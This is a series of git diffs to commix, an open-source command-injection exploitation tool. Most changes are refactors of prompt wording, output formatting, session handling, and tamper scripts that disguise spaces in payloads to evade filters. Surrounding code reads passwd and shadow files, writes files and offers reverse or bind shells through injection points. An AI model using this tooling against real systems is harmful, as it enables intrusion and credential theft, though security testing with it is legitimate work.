fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- if not menu.file_access_options() and not menu.options.os_cmd:
- if not settings.VERBOSITY_LEVEL != 0 and new_line:
- print(settings.SINGLE_WHITESPACE)
-
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
- if settings.ENUMERATION_DONE != True:
- print(settings.SINGLE_WHITESPACE)
while True:
- message = "Do you want to access files again? [Y/n] > "
+ message = "Do you want to ignore stored session and access files again? [Y/n] > "
file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
+ if not menu.options.ignore_session:
+ menu.options.ignore_session = True
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
break
elif file_access_again in settings.CHOICE_NO:
@@ -575,10 +572,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
-
- else:
- if menu.file_access_options() or menu.options.os_cmd:
- print(settings.SINGLE_WHITESPACE)
try:
# Pseudo-Terminal shell
@@ -591,7 +584,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
print(settings.SINGLE_WHITESPACE)
if go_back == True:
break
- message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
gotshell = common.read_input(message, default="Y", check_batch=True)
if gotshell in settings.CHOICE_YES:
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index 34e1aa2c08..f09f0ec1ec 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -541,6 +541,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
if settings.VERBOSITY_LEVEL <= 1:
print(settings.SINGLE_WHITESPACE)
print(settings.command_execution_output(output))
+ print(settings.SINGLE_WHITESPACE)
else:
err_msg = "The '" + cmd + "' command, does not return any output."
print(settings.print_critical_msg(err_msg))
@@ -550,17 +551,23 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
Check the defined options
"""
def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
-
+ if settings.ENUMERATION_DONE:
+ settings.ENUMERATION_DONE = False
+
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
+ if settings.ENUMERATION_DONE == True:
+ print(settings.SINGLE_WHITESPACE)
powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- settings.ENUMERATION_DONE = True
+ if settings.ENUMERATION_DONE == False:
+ settings.ENUMERATION_DONE = True
if menu.options.hostname:
if settings.ENUMERATION_DONE == True:
print(settings.SINGLE_WHITESPACE)
hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- settings.ENUMERATION_DONE = True
+ if settings.ENUMERATION_DONE == False:
+ settings.ENUMERATION_DONE = True
if menu.options.current_user:
if settings.ENUMERATION_DONE == True:
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
index 9dedbf135b..bc848a3aef 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py
@@ -141,7 +141,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
cmd = "'" + cmd + "'"
dest_to_write = path + "\\" + filname
else:
- cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write
+ cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 46f957538e..96cd13a702 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -458,18 +458,19 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if settings.TARGET_OS == "win":
time.sleep(1)
- new_line = False
+ new_line = True
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
- message = "Do you want to enumerate again? [Y/n] > "
+ message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
+ if not menu.options.ignore_session:
+ menu.options.ignore_session = True
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- print(settings.SINGLE_WHITESPACE)
break
elif enumerate_again in settings.CHOICE_NO:
- new_line = True
+ new_line = False
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
@@ -482,20 +483,20 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
else:
if menu.enumeration_options():
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- print(settings.SINGLE_WHITESPACE)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
- print(settings.SINGLE_WHITESPACE)
+ if settings.ENUMERATION_DONE == True and new_line:
+ print(settings.SINGLE_WHITESPACE)
while True:
- message = "Do you want to access files again? [Y/n] > "
+ message = "Do you want to ignore stored session and access files again? [Y/n] > "
file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
+ if not menu.options.ignore_session:
+ menu.options.ignore_session = True
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
- if not new_line:
- new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
@@ -506,6 +507,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
print(settings.print_error_msg(err_msg))
pass
else:
+ print(settings.SINGLE_WHITESPACE)
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
@@ -520,9 +522,6 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- if not new_line :
- print(settings.SINGLE_WHITESPACE)
-
try:
# Pseudo-Terminal shell
go_back = False
@@ -530,7 +529,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
while True:
if go_back == True:
break
- message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py
index 643403a2b8..50739f4335 100755
--- a/src/core/modules/dns_exfiltration/dns_exfiltration.py
+++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py
@@ -105,7 +105,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique):
while True:
if go_back == True:
break
- message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
gotshell = _common.read_input(message, default="Y", check_batch=True)
if gotshell in settings.CHOICE_YES:
print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
@@ -125,7 +125,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique):
elif cmd.lower() == "?":
menu.os_shell_options()
elif cmd.lower() == "os_shell":
- warn_msg = "You are already into the '" + cmd.lower() + "' mode."
+ warn_msg = "You are into the '" + cmd.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))+ "\n"
elif cmd.lower() == "reverse_tcp":
warn_msg = "This option is not supported by this module."
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
index 6aa656162e..5a45db8d81 100755
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
@@ -140,7 +140,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique):
while True:
if go_back == True:
break
- message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
gotshell = _common.read_input(message, default="Y", check_batch=True)
if gotshell in settings.CHOICE_YES:
print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
@@ -160,7 +160,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique):
elif cmd.lower() == "?":
menu.os_shell_options()
elif cmd.lower() == "os_shell":
- warn_msg = "You are already into the '" + cmd.lower() + "' mode."
+ warn_msg = "You are into the '" + cmd.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))+ "\n"
elif cmd.lower() == "reverse_tcp":
warn_msg = "This option is not supported by this module."
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 8f84a3c02d..100625df54 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -581,7 +581,7 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r
# The "os_shell" option
elif os_shell_option == "os_shell":
- warn_msg = "You are already into the '" + os_shell_option + "' mode."
+ warn_msg = "You are into the '" + os_shell_option + "' mode."
print(settings.print_warning_msg(warn_msg))+ "\n"
# The "bind_tcp" option
@@ -706,10 +706,10 @@ def shellshock_handler(url, http_request_method, filename):
# Enumeration options.
if settings.ENUMERATION_DONE == True :
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.SINGLE_WHITESPACE)
+ # if settings.VERBOSITY_LEVEL != 0:
+ # print(settings.SINGLE_WHITESPACE)
while True:
- message = "Do you want to enumerate again? [Y/n] > "
+ message = "Do you want to ignore stored session and enumerate again? [Y/n] > "
enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
enumeration(url, cve, check_header, filename)
@@ -728,7 +728,7 @@ def shellshock_handler(url, http_request_method, filename):
# File access options.
if settings.FILE_ACCESS_DONE == True :
while True:
- message = "Do you want to access files again? [Y/n] > "
+ message = "Do you want to ignore stored session and access files again? [Y/n] > "
file_access_again = common.read_input(message, default="Y", check_batch=True)
if file_access_again in settings.CHOICE_YES:
file_access(url, cve, check_header, filename)
@@ -747,8 +747,8 @@ def shellshock_handler(url, http_request_method, filename):
if menu.options.os_cmd:
cmd = menu.options.os_cmd
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
- if settings.VERBOSITY_LEVEL <= 1:
- print(settings.SINGLE_WHITESPACE)
+ # if settings.VERBOSITY_LEVEL <= 1:
+ # print(settings.SINGLE_WHITESPACE)
print(settings.command_execution_output(shell))
raise SystemExit()
@@ -760,7 +760,7 @@ def shellshock_handler(url, http_request_method, filename):
while True:
if go_back == True:
break
- message = "Do you want a Pseudo-Terminal shell? [Y/n] > "
+ message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > "
if settings.IS_TTY:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py
index a7794af825..d362a27f1f 100755
--- a/src/core/shells/bind_tcp.py
+++ b/src/core/shells/bind_tcp.py
@@ -30,7 +30,7 @@
"""
def shell_options(option):
if option.lower() == "bind_tcp":
- warn_msg = "You are already into the '" + option.lower() + "' mode."
+ warn_msg = "You are into the '" + option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
elif option.lower() == "?":
menu.reverse_tcp_options()
@@ -464,7 +464,7 @@ def bind_tcp_options(separator):
\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """)
if bind_tcp_option.lower() == "bind_tcp":
- warn_msg = "You are already into the '" + bind_tcp_option.lower() + "' mode."
+ warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
continue
@@ -506,7 +506,7 @@ def configure_bind_tcp(separator):
sys.stdout.write(settings.BIND_TCP_SHELL)
option = _input()
if option.lower() == "bind_tcp":
- warn_msg = "You are already into the '" + option.lower() + "' mode."
+ warn_msg = "You are into the '" + option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
continue
elif option.lower() == "?":
diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py
index 208407b0a3..1106bec498 100755
--- a/src/core/shells/reverse_tcp.py
+++ b/src/core/shells/reverse_tcp.py
@@ -35,7 +35,7 @@
"""
def shell_options(option):
if option.lower() == "reverse_tcp":
- warn_msg = "You are already into the '" + option.lower() + "' mode."
+ warn_msg = "You are into the '" + option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
elif option.lower() == "?":
menu.reverse_tcp_options()
@@ -678,7 +678,7 @@ def reverse_tcp_options(separator):
\ncommix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """)
if reverse_tcp_option.lower() == "reverse_tcp":
- warn_msg = "You are already into the '" + reverse_tcp_option.lower() + "' mode."
+ warn_msg = "You are into the '" + reverse_tcp_option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
continue
@@ -719,7 +719,7 @@ def configure_reverse_tcp(separator):
sys.stdout.write(settings.REVERSE_TCP_SHELL)
option = _input()
if option.lower() == "reverse_tcp":
- warn_msg = "You are already into the '" + option.lower() + "' mode."
+ warn_msg = "You are into the '" + option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
continue
if option.lower() == "?":
diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py
index 1c64f58eb7..5fb02052cf 100644
--- a/src/core/tamper/space2htab.py
+++ b/src/core/tamper/space2htab.py
@@ -21,13 +21,17 @@
"""
__tamper__ = "space2htab"
+space2htab = "%09"
+
+if not settings.TAMPER_SCRIPTS[__tamper__]:
+ settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.WHITESPACES[0] == "%20":
- settings.WHITESPACES[0] = "%09"
- else:
- settings.WHITESPACES.append("%09")
+ settings.WHITESPACES[0] = space2htab
+ elif space2htab not in settings.WHITESPACES:
+ settings.WHITESPACES.append(space2htab)
return payload
# eof
\ No newline at end of file
diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py
index 922c79c4f5..680ae99265 100644
--- a/src/core/tamper/space2ifs.py
+++ b/src/core/tamper/space2ifs.py
@@ -13,8 +13,6 @@
For more see the file 'readme/COPYING' for copying permission.
"""
-import sys
-from src.utils import menu
from src.utils import settings
"""
@@ -25,15 +23,21 @@
"""
__tamper__ = "space2ifs"
+space2ifs = "${IFS}"
def tamper(payload):
+ if space2ifs in settings.WHITESPACES[0] and \
+ settings.EVAL_BASED_STATE != False:
+ settings.WHITESPACES[0] = "\${IFS}"
if settings.TARGET_OS != "win":
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.WHITESPACES[0] == "%20":
- settings.WHITESPACES[0] = "${IFS}"
- else:
- settings.WHITESPACES.append("${IFS}")
-
+ settings.WHITESPACES[0] = space2ifs
+ elif space2ifs not in settings.WHITESPACES:
+ settings.WHITESPACES.append(space2ifs)
+ else:
+ if space2ifs in settings.WHITESPACES:
+ settings.WHITESPACES.remove(space2ifs)
return payload
# eof
diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py
index 49c288677e..e969ddb9b4 100644
--- a/src/core/tamper/space2plus.py
+++ b/src/core/tamper/space2plus.py
@@ -21,6 +21,7 @@
"""
__tamper__ = "space2plus"
+space2plus = "+"
if not settings.TAMPER_SCRIPTS[__tamper__]:
settings.TAMPER_SCRIPTS[__tamper__] = True
@@ -28,10 +29,9 @@
def tamper(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.WHITESPACES[0] == "%20":
- settings.WHITESPACES[0] = "+"
- else:
- settings.WHITESPACES.append("+")
-
+ settings.WHITESPACES[0] = space2plus
+ elif space2plus not in settings.WHITESPACES:
+ settings.WHITESPACES.append(space2plus)
return payload
# eof
\ No newline at end of file
diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py
index 7e2bfca0f9..f2e9057300 100644
--- a/src/core/tamper/space2vtab.py
+++ b/src/core/tamper/space2vtab.py
@@ -21,15 +21,21 @@
"""
__tamper__ = "space2vtab"
+space2vtab = "%0b"
+
+if not settings.TAMPER_SCRIPTS[__tamper__]:
+ settings.TAMPER_SCRIPTS[__tamper__] = True
def tamper(payload):
if settings.TARGET_OS == "win":
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.WHITESPACES[0] == "%20":
- settings.WHITESPACES[0] = "%0b"
- else:
- settings.WHITESPACES.append("%0b")
-
+ settings.WHITESPACES[0] = space2vtab
+ elif space2vtab not in settings.WHITESPACES:
+ settings.WHITESPACES.append(space2vtab)
+ else:
+ if space2vtab in settings.WHITESPACES:
+ settings.WHITESPACES.remove(space2vtab)
return payload
# eof
\ No newline at end of file
diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py
index 5aa1802364..f91f9ec67e 100755
--- a/src/utils/session_handler.py
+++ b/src/utils/session_handler.py
@@ -277,10 +277,9 @@ def injection_point_exportation(url, http_request_method):
def notification(url, technique, injection_type):
try:
if settings.LOAD_SESSION == True:
- info_msg = "A previously stored session has been held against that host."
- print(settings.print_info_msg(info_msg))
while True:
- message = "Do you want to resume to the "
+ message = "A previously stored session has been held against that host. "
+ message += "Do you want to resume to the "
message += "(" + injection_type.split(" ")[0] + ") "
message += technique.rsplit(' ', 2)[0]
message += " injection point? [Y/n] > "
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 9e201716fc..2df0c86364 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -234,7 +234,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "67"
+REVISION = "68"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From dbcf2b25af05c3721c60c555dc851d7190aa63fc Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 23 May 2022 08:06:09 +0300
Subject: [PATCH 145/560] Improvement regarding shellshock module
---
doc/CHANGELOG.md | 1 +
.../techniques/classic/cb_handler.py | 2 +-
src/core/main.py | 7 +-
src/core/modules/shellshock/shellshock.py | 290 +++++++++---------
src/core/shells/bind_tcp.py | 1 +
src/core/shells/reverse_tcp.py | 1 +
src/txt/shocker-cgi_list.txt | 1 +
src/utils/settings.py | 2 +-
8 files changed, 149 insertions(+), 156 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index da59613613..7e842e4568 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Revised: Improvement regarding shellshock module.
* Added: Support regarding parsing target(s) from piped-input (i.e. stdin).
* Added: New option `--answers` to set user answers to asked questions during commix run.
* Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`).
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 5e7079e6fe..425c6da347 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -437,7 +437,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
return False
- else :
+ else:
sys.stdout.write("\r")
sys.stdout.flush()
diff --git a/src/core/main.py b/src/core/main.py
index 8e7df4fdaa..b322bd6d22 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -543,7 +543,7 @@ def main(filename, url):
if menu.options.smoke_test:
smoke_test()
- if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile:
+ if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock:
settings.OS_CHECKS_NUM = 1
for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)):
@@ -829,7 +829,8 @@ def main(filename, url):
url_num += 1
output_href = output_href + bulkfile
output_href = [x for x in output_href if x not in settings.HREF_SKIPPED]
- output_href = crawler.normalize_results(output_href)
+ if not menu.options.shellshock:
+ output_href = crawler.normalize_results(output_href)
settings.CRAWLING_PHASE = False
else:
filename = None
@@ -859,7 +860,7 @@ def main(filename, url):
url_num = 0
for url in clean_output_href:
http_request_method = check_http_method(url)
- if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS:
+ if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS:
url_num += 1
print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "")
message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > "
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index 100625df54..4cb7296c0a 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -74,9 +74,8 @@ def enumeration(url, cve, check_header, filename):
cmd = settings.HOSTNAME
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
- info_msg = "The hostname is " + str(shell)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
+ info_msg = "The hostname is " + str(shell) + "."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -104,9 +103,8 @@ def enumeration(url, cve, check_header, filename):
target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename)
if target_arch:
info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL
- info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch)
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
+ info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) + "."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -115,9 +113,8 @@ def enumeration(url, cve, check_header, filename):
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
- info_msg = "The underlying operating system is " + target_os
- sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n")
- sys.stdout.flush()
+ info_msg = "The underlying operating system is " + target_os + "."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -150,29 +147,26 @@ def enumeration(url, cve, check_header, filename):
output_file.close()
if shell:
if shell != "0":
- sys.stdout.write(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
- sys.stdout.flush()
+ print(Style.BRIGHT + " and it is" + " not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
- sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n")
- sys.stdout.flush()
+ print(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(" and it is privileged.\n")
output_file.close()
else:
- info_msg = "The current user is " + str(cu_account)
- sys.stdout.write(settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg = "The current user is " + str(cu_account) + "."
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
- info_msg = "The current user is " + str(cu_account) + "\n"
+ info_msg = "The current user is " + str(cu_account) + ".\n"
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
output_file.close()
else:
@@ -203,7 +197,7 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE
warn_msg += "' file is not in the appropriate format. Thus, it is expoted as a text file."
- print("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
@@ -218,9 +212,9 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_users_list))
info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " in '" + settings.PASSWD_FILE + "'.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " in '" + settings.PASSWD_FILE + "'."
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -283,7 +277,7 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to read the '"
warn_msg += settings.PASSWD_FILE + "'."
- print("\n" + settings.print_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
except TypeError:
sys.stdout.write(settings.FAIL_STATUS + "\n")
sys.stdout.flush()
@@ -292,9 +286,8 @@ def enumeration(url, cve, check_header, filename):
except IndexError:
sys.stdout.write(settings.FAIL_STATUS)
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "'."
- sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ warn_msg += settings.PASSWD_FILE + "'."
+ print(settings.print_warning_msg(warn_msg))
pass
settings.ENUMERATION_DONE = True
@@ -316,9 +309,9 @@ def enumeration(url, cve, check_header, filename):
sys.stdout.write(settings.SUCCESS_STATUS)
info_msg = "Identified " + str(len(sys_passes))
info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
- info_msg += " in '" + settings.SHADOW_FILE + "'.\n"
- sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg))
- sys.stdout.flush()
+ info_msg += " in '" + settings.SHADOW_FILE + "'."
+ print(settings.SINGLE_WHITESPACE)
+ print(settings.print_bold_info_msg(info_msg))
# Add infos to logs file.
output_file = open(filename, "a")
if not menu.options.no_logging:
@@ -368,7 +361,6 @@ def file_access(url, cve, check_header, filename):
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
print(settings.print_warning_msg(warn_msg))
- print(settings.SINGLE_WHITESPACE)
raise SystemExit()
if os.path.isfile(file_to_write):
@@ -377,8 +369,7 @@ def file_access(url, cve, check_header, filename):
content = "".join(str(p) for p in content).replace("'", "\"")
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
- sys.stdout.write(settings.print_warning_msg(warn_msg))
- sys.stdout.flush()
+ print(settings.print_warning_msg(warn_msg))
settings.FILE_ACCESS_DONE = True
#-------------------------------
@@ -404,9 +395,8 @@ def file_access(url, cve, check_header, filename):
print(settings.print_bold_info_msg(info_msg))
else:
warn_msg = "It seems that you don't have permissions to write the '"
- warn_msg += dest_to_write + "' file." + "\n"
- sys.stdout.write(settings.print_warning_msg(warn_msg))
